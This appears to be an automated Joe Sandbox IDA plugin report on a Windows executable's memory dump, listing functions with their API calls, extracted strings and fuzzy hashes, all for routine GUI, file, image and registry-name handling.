Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06a18b8ad93dc8222913c3b18848eb7fe0d0fd2f3d8a242d5e2f0303cc3a2d96
Instruction ID: 0beb6337ef564481c125251b7a038bf0dbaeb2671cd594aca9f8e38cf1a44eb8
Opcode Fuzzy Hash: 06a18b8ad93dc8222913c3b18848eb7fe0d0fd2f3d8a242d5e2f0303cc3a2d96
Instruction Fuzzy Hash: 83A0027990FC02E4E6289F00E8540703330EF527A1B5215B2D11DC14A9EF3CA590D300

Function 00007FF697B42620 Relevance: 28.7, APIs: 19, Instructions: 201COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697B42750: GetWindowLongPtrW.USER32 ref: 00007FF697B42766

GetSysColor.USER32 ref: 00007FF697B42663
GetSysColor.USER32 ref: 00007FF697B426F8
SetTextColor.GDI32 ref: 00007FF697B42703
SetBkMode.GDI32 ref: 00007FF697B42718
GetStockObject.GDI32 ref: 00007FF697B42723
GetSysColor.USER32 ref: 00007FF697B8A84E
GetWindowLongW.USER32 ref: 00007FF697B8A863
SetBkColor.GDI32 ref: 00007FF697B8A940

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Color$LongWindow$ModeObjectStockText
String ID:
API String ID: 554392163-0
Opcode ID: 75ec6bcd28a8efb3125b08e197a7caecd4c99aa61c3caa47667afd5c8d51fa7a
Instruction ID: fb9ea6b4420ac1316e903d6321acc300b0b47265b11c022b9c7810c2d5ca81de
Opcode Fuzzy Hash: 75ec6bcd28a8efb3125b08e197a7caecd4c99aa61c3caa47667afd5c8d51fa7a
Instruction Fuzzy Hash: D981A635E0855782EA709F2998483BD2396FF87BD4F5502B1C95DC76ECDE3CA882A740

Function 00007FF697BBC81C Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 140COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION ref: 00007FF697BBC841
GetFileVersionInfoW.VERSION ref: 00007FF697BBC869
wcscpy.LIBCMT ref: 00007FF697BBC8A6
wcscat.LIBCMT ref: 00007FF697BBC8C8
wcsstr.LIBVCRUNTIME ref: 00007FF697BBC8D3
VerQueryValueW.VERSION ref: 00007FF697BBC8F4
wcscat.LIBCMT ref: 00007FF697BBC934
wcscat.LIBCMT ref: 00007FF697BBC93F
wcscat.LIBCMT ref: 00007FF697BBC94A
VerQueryValueW.VERSION ref: 00007FF697BBC9A0

Strings

DefaultLangCodepage, xrefs: 00007FF697BBC94F
%u.%u.%u.%u, xrefs: 00007FF697BBC9BE
StringFileInfo\, xrefs: 00007FF697BBC8BE
\VarFileInfo\Translation, xrefs: 00007FF697BBC8ED
04090000, xrefs: 00007FF697BBC92A

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: wcscat$FileInfoQueryValueVersion$Sizewcscpywcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 222038402-1459072770
Opcode ID: 8c755c0fc64d6d4bda2231876f2c678180d8bec7320acdc058a860b754f6bdd3
Instruction ID: ce0c3c1cde69484a5548ae525731d2ad00b49f2582863e9921893cf20189c614
Opcode Fuzzy Hash: 8c755c0fc64d6d4bda2231876f2c678180d8bec7320acdc058a860b754f6bdd3
Instruction Fuzzy Hash: EF515C3570864286EA34EF2695511B96391FF86FE0F4084B1EE5D8BB9ADF3CE6018704

Function 00007FF697BE6608 Relevance: 25.0, APIs: 3, Strings: 11, Instructions: 475windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32 ref: 00007FF697BE66C7
SendMessageW.USER32 ref: 00007FF697BE6749

Strings

GETITEMCOUNT, xrefs: 00007FF697BE6922
GETTOTALCOUNT, xrefs: 00007FF697BE66F9
COLLAPSE, xrefs: 00007FF697BE67D1
EXPAND, xrefs: 00007FF697BE68B4
GETTEXT, xrefs: 00007FF697BE69F7
GETSELECTED, xrefs: 00007FF697BE698F
ISCHECKED, xrefs: 00007FF697BE6A78
SELECT, xrefs: 00007FF697BE6B0B
CHECK, xrefs: 00007FF697BE676F
EXISTS, xrefs: 00007FF697BE6833
UNCHECK, xrefs: 00007FF697BE6B76

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: 3f2e69d4aa51dbb406168e8eec17f7dda2e2331c7f002e480690ed7ff1453b94
Instruction ID: 143e416007d014cec172ee4444e0fab6347dc35d169afa721323930af9e0d044
Opcode Fuzzy Hash: 3f2e69d4aa51dbb406168e8eec17f7dda2e2331c7f002e480690ed7ff1453b94
Instruction Fuzzy Hash: DB12BE36B18657C2EE709F6988111BD66A0EF5AFD8B4846F1DE4EC7389EE3CE4418350

Function 00007FF697BF1254 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 162windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697B42A54: GetWindowLongPtrW.USER32 ref: 00007FF697B42A71

DragQueryPoint.SHELL32 ref: 00007FF697BF1298

Part of subcall function 00007FF697BEF014: ClientToScreen.USER32(00000000,?,?,?,?,00007FF697BF0BC9), ref: 00007FF697BEF054
Part of subcall function 00007FF697BEF014: GetWindowRect.USER32(?,?,?,?,00007FF697BF0BC9), ref: 00007FF697BEF0E3
Part of subcall function 00007FF697BEF014: PtInRect.USER32 ref: 00007FF697BEF0F3

SendMessageW.USER32 ref: 00007FF697BF130F
DragQueryFileW.SHELL32 ref: 00007FF697BF1321
DragQueryFileW.SHELL32 ref: 00007FF697BF1347
wcscat.LIBCMT ref: 00007FF697BF137B
SendMessageW.USER32 ref: 00007FF697BF1392
SendMessageW.USER32 ref: 00007FF697BF13AC
SendMessageW.USER32 ref: 00007FF697BF13C4
SendMessageW.USER32 ref: 00007FF697BF13E9
DragFinish.SHELL32 ref: 00007FF697BF13F2
DefDlgProcW.USER32 ref: 00007FF697BF1520

Strings

@GUI_DRAGID, xrefs: 00007FF697BF146B
@GUI_DRAGFILE, xrefs: 00007FF697BF14B4
@GUI_DROPID, xrefs: 00007FF697BF1415

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreenwcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 2091158083-3440237614
Opcode ID: 7c2f099bf0a5769a0aea507f3e3fb0e9d810cef93c6a9b2b7ff31669fef11a09
Instruction ID: 998e060b03ca52557df46fc31f1f6520311047ccf840d101d94e7fa6d2124991
Opcode Fuzzy Hash: 7c2f099bf0a5769a0aea507f3e3fb0e9d810cef93c6a9b2b7ff31669fef11a09
Instruction Fuzzy Hash: 42715D36618A8296E720EF25E8547ED7760FB85BD8F804072EA4E87A99CF7CD149C700

Function 00007FF697BC3FD0 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 197COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32 ref: 00007FF697BC4077
GetDriveTypeW.KERNEL32 ref: 00007FF697BC4162
mciSendStringW.WINMM ref: 00007FF697BC41AA
mciSendStringW.WINMM ref: 00007FF697BC41F1
mciSendStringW.WINMM ref: 00007FF697BC4229

Strings

set cd door , xrefs: 00007FF697BC41B8
wait, xrefs: 00007FF697BC41D5
close, xrefs: 00007FF697BC407D
open , xrefs: 00007FF697BC4171
type cdaudio alias cd wait, xrefs: 00007FF697BC418E
close cd wait, xrefs: 00007FF697BC420D
closed, xrefs: 00007FF697BC408C
open, xrefs: 00007FF697BC40DC

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 1600147383-4113822522
Opcode ID: c97716080e4f543c9a20482f6ee2b28a1c64bce64f7816063184408ee6a3b085
Instruction ID: 91665dc5263b4af48b2eff59705370bdd39bc6ff9e87824f2504ad9660964719
Opcode Fuzzy Hash: c97716080e4f543c9a20482f6ee2b28a1c64bce64f7816063184408ee6a3b085
Instruction Fuzzy Hash: EF816A32B14A1285EF209F69D8512BC27B1FB56BD8B5484B1CA4DC7B99DF3CEA46C340

Function 00007FF697BF0118 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 175windowlibraryCOMMON

Download Yara Rule

APIs

LoadImageW.USER32 ref: 00007FF697BF0201
LoadLibraryExW.KERNEL32 ref: 00007FF697BF026C
LoadImageW.USER32 ref: 00007FF697BF02B0
LoadImageW.USER32 ref: 00007FF697BF02EB
LoadImageW.USER32 ref: 00007FF697BF032F
FreeLibrary.KERNEL32 ref: 00007FF697BF033C
ExtractIconExW.SHELL32 ref: 00007FF697BF034E
DestroyIcon.USER32 ref: 00007FF697BF0360
SendMessageW.USER32 ref: 00007FF697BF037F
SendMessageW.USER32 ref: 00007FF697BF0397

Part of subcall function 00007FF697B68E28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF697B68E4F

Part of subcall function 00007FF697B68E28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF697B68EED

Strings

.exe, xrefs: 00007FF697BF0193
.icl, xrefs: 00007FF697BF0171
.dll, xrefs: 00007FF697BF01B5

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Load$Image$IconLibraryMessageSend_invalid_parameter_noinfo$DestroyExtractFree
String ID: .dll$.exe$.icl
API String ID: 258715311-1154884017
Opcode ID: e03b8a297f3e31543187ea4d980dcab107f3fc290ba37e0d0746b7471e731d00
Instruction ID: 78465e60f5c318a674571df504f63325436c2142e48e1de9c0132e7b6e63c6ef
Opcode Fuzzy Hash: e03b8a297f3e31543187ea4d980dcab107f3fc290ba37e0d0746b7471e731d00
Instruction Fuzzy Hash: 0F71C43AA0465282EB74AF2598446B933A0FF4AFE8F440675EE1D877A8DF3CD444D300

Function 00007FF697BF03D0 Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF697BF0422
GetFileSize.KERNEL32 ref: 00007FF697BF0436
GlobalAlloc.KERNEL32 ref: 00007FF697BF0445
CloseHandle.KERNEL32 ref: 00007FF697BF0456
GlobalLock.KERNEL32 ref: 00007FF697BF0466
ReadFile.KERNEL32 ref: 00007FF697BF047E
GlobalUnlock.KERNEL32 ref: 00007FF697BF0489
CloseHandle.KERNEL32 ref: 00007FF697BF0492
CreateStreamOnHGlobal.OLE32 ref: 00007FF697BF04A8
OleLoadPicture.OLEAUT32 ref: 00007FF697BF04CB
GlobalFree.KERNEL32 ref: 00007FF697BF04DE
GetObjectW.GDI32 ref: 00007FF697BF0508
CopyImage.USER32 ref: 00007FF697BF0541
DeleteObject.GDI32 ref: 00007FF697BF056E
SendMessageW.USER32 ref: 00007FF697BF058D

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 7c311c18288b1496fa214aa0c4abe44590be5c31b38ad7f7d9d564ed982c3a32
Instruction ID: 68f3a100ffe2481b1971fdd2cc485798397ea5c26dc19dc63ca9a9d7c6d1dbe6
Opcode Fuzzy Hash: 7c311c18288b1496fa214aa0c4abe44590be5c31b38ad7f7d9d564ed982c3a32
Instruction Fuzzy Hash: 8251543AB15B518AEB24EF66E848A6933A0FB89FD8B504171DE5E83B18DF3DD405D700

Function 00007FF697BC246C Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 281fileCOMMON

Download Yara Rule

APIs

wcscpy.LIBCMT ref: 00007FF697BC2590
wcscat.LIBCMT ref: 00007FF697BC25A3
wcscat.LIBCMT ref: 00007FF697BC25E1
wcscat.LIBCMT ref: 00007FF697BC25F4

Part of subcall function 00007FF697B467D8: _fread_nolock.LIBCMT ref: 00007FF697B46805

GetTempPathW.KERNEL32 ref: 00007FF697BC271B
GetTempFileNameW.KERNEL32 ref: 00007FF697BC2737

Part of subcall function 00007FF697B748E0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF697B74835

DeleteFileW.KERNEL32 ref: 00007FF697BC2854
DeleteFileW.KERNEL32 ref: 00007FF697BC28BB

Strings

aut, xrefs: 00007FF697BC2729

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Filewcscat$DeleteTemp$NamePath_fread_nolock_invalid_parameter_noinfowcscpy
String ID: aut
API String ID: 130057722-3010740371
Opcode ID: 587d8ff44f56b4c982e82ef7faa21eb4bcf6eabd1a57bd80e25ab706fdae8aa1
Instruction ID: 314a835a0645033295edeb5fa9e22a8ad075bc8f4b231af8581f3237fc94c51c
Opcode Fuzzy Hash: 587d8ff44f56b4c982e82ef7faa21eb4bcf6eabd1a57bd80e25ab706fdae8aa1
Instruction Fuzzy Hash: C3C13C36618A8696EB30DF25E8406ED6760FB86BC8F444076EA8D8BA5DDF7CD605C700

Function 00007FF697BEE40C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 177windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00007FF697BEE510
CreateWindowExW.USER32 ref: 00007FF697BEE5BC
SendMessageW.USER32 ref: 00007FF697BEE5E3
SendMessageW.USER32 ref: 00007FF697BEE5F8
DestroyWindow.USER32 ref: 00007FF697BEE61C
CreateWindowExW.USER32 ref: 00007FF697BEE675
SendMessageW.USER32 ref: 00007FF697BEE692
GetDesktopWindow.USER32 ref: 00007FF697BEE6AE
GetWindowRect.USER32 ref: 00007FF697BEE6BB
SendMessageW.USER32 ref: 00007FF697BEE6D0
SendMessageW.USER32 ref: 00007FF697BEE6EE

Strings

tooltips_class32, xrefs: 00007FF697BEE570, 00007FF697BEE63F

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopRect
String ID: tooltips_class32
API String ID: 2443926738-1918224756
Opcode ID: aaeb60d555cc86bf3e66e764e60d0e4162c92bacd9f6913f3df39f71d352b9df
Instruction ID: 1f9a462545afa74a8cb2f4102d66d7e13e792e15068c458b5d5dbc5da3f40434
Opcode Fuzzy Hash: aaeb60d555cc86bf3e66e764e60d0e4162c92bacd9f6913f3df39f71d352b9df
Instruction Fuzzy Hash: 43916836A18A898AEB60CF65E4547AD37A1FB89BC4F4040B6DE4D87B58DF3CE045C740

Function 00007FF697BD4F54 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 151windowCOMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF697BD4FDF
CreateCompatibleBitmap.GDI32 ref: 00007FF697BD4FF3
CreateCompatibleDC.GDI32 ref: 00007FF697BD5001
SelectObject.GDI32 ref: 00007FF697BD5011
StretchBlt.GDI32 ref: 00007FF697BD5087
GetDIBits.GDI32 ref: 00007FF697BD50CE
GetDIBits.GDI32 ref: 00007FF697BD5107
SelectObject.GDI32 ref: 00007FF697BD5116
DeleteObject.GDI32 ref: 00007FF697BD511F
DeleteDC.GDI32 ref: 00007FF697BD5128
ReleaseDC.USER32 ref: 00007FF697BD5133

Strings

, xrefs: 00007FF697BD5053

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID:
API String ID: 2598888154-3916222277
Opcode ID: 3994b7b28fef36ee27ebe09cd9ee49426cf7ca29f8cb3ed20e9a9f0582733bf5
Instruction ID: c712c56ddb891c646c397c83f386b25ba34848a949a21ae78692148af61b8d91
Opcode Fuzzy Hash: 3994b7b28fef36ee27ebe09cd9ee49426cf7ca29f8cb3ed20e9a9f0582733bf5
Instruction Fuzzy Hash: 5A515776B15641CBE760DF65E844AAD7BB5FB49BC8F008126EE4A93B18CF38E415CB04

Function 00007FF697BAB0C4 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 117memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32 ref: 00007FF697BAB101
SafeArrayAllocData.OLEAUT32 ref: 00007FF697BAB163
VariantInit.OLEAUT32 ref: 00007FF697BAB175
SafeArrayAccessData.OLEAUT32 ref: 00007FF697BAB198
VariantCopy.OLEAUT32 ref: 00007FF697BAB203
SafeArrayUnaccessData.OLEAUT32 ref: 00007FF697BAB217
VariantClear.OLEAUT32 ref: 00007FF697BAB22E
SafeArrayDestroyData.OLEAUT32 ref: 00007FF697BAB23D
SafeArrayDestroyDescriptor.OLEAUT32 ref: 00007FF697BAB247
VariantClear.OLEAUT32 ref: 00007FF697BAB25A
SafeArrayDestroyDescriptor.OLEAUT32 ref: 00007FF697BAB266

Strings

NULL Pointer assignment, xrefs: 00007FF697BAB0D3

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID: NULL Pointer assignment
API String ID: 2706829360-2785691316
Opcode ID: f387a50e6818b73d110b12cd73088d785cdd73093c11eac48bc39c6d5f3c3ae3
Instruction ID: 855be08a54049b5ff4a6ff807f905603e3a345cd753bbe797acc92ac4b93d623
Opcode Fuzzy Hash: f387a50e6818b73d110b12cd73088d785cdd73093c11eac48bc39c6d5f3c3ae3
Instruction Fuzzy Hash: 0F516E36A15A528AEB24EF61D8946BD37B0FF85FD8F414075EA0E87669DF38D049C300

Function 00007FF697BE1110 Relevance: 19.6, APIs: 1, Strings: 10, Instructions: 371COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,00000000,?,?,?,00007FF697BDFD7B), ref: 00007FF697BE1143

Strings

HKEY_CURRENT_USER, xrefs: 00007FF697BE146B
HKCC, xrefs: 00007FF697BE140E
HKLM, xrefs: 00007FF697BE12C2
HKEY_USERS, xrefs: 00007FF697BE1505
HKEY_LOCAL_MACHINE, xrefs: 00007FF697BE1285
HKCU, xrefs: 00007FF697BE14A8
HKCR, xrefs: 00007FF697BE1369
HKEY_CLASSES_ROOT, xrefs: 00007FF697BE132C
HKEY_CURRENT_CONFIG, xrefs: 00007FF697BE13D1
HKU, xrefs: 00007FF697BE1542

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 3964851224-909552448
Opcode ID: 48ce5f8ab7038dd94976e3b00d3167ae2925137fb7b03817e14e3f39c5b841c4
Instruction ID: 8b1e915f3280f27b1e95f44de00db689b6d3ea9af19259ab53f6ef23d1ca9604
Opcode Fuzzy Hash: 48ce5f8ab7038dd94976e3b00d3167ae2925137fb7b03817e14e3f39c5b841c4
Instruction Fuzzy Hash: 5CE17F32F0865F81EB709F6598402B963A0FF12BD8B6845B5DA1ED77D8EE3CE9458340

Function 00007FF697BC87CC Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 200COMMON

Download Yara Rule

APIs

wcscat.LIBCMT ref: 00007FF697BC898D
wcscat.LIBCMT ref: 00007FF697BC899E
GetCurrentDirectoryW.KERNEL32 ref: 00007FF697BC89AF
SetCurrentDirectoryW.KERNEL32 ref: 00007FF697BC89BC
GetFileAttributesW.KERNEL32 ref: 00007FF697BC89ED
SetFileAttributesW.KERNEL32 ref: 00007FF697BC8A03
SetCurrentDirectoryW.KERNEL32 ref: 00007FF697BC8A14
SetCurrentDirectoryW.KERNEL32 ref: 00007FF697BC8A76
wcscpy.LIBCMT ref: 00007FF697BC8A88
SetCurrentDirectoryW.KERNEL32 ref: 00007FF697BC8AC5

Strings

*.*, xrefs: 00007FF697BC8A7C

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

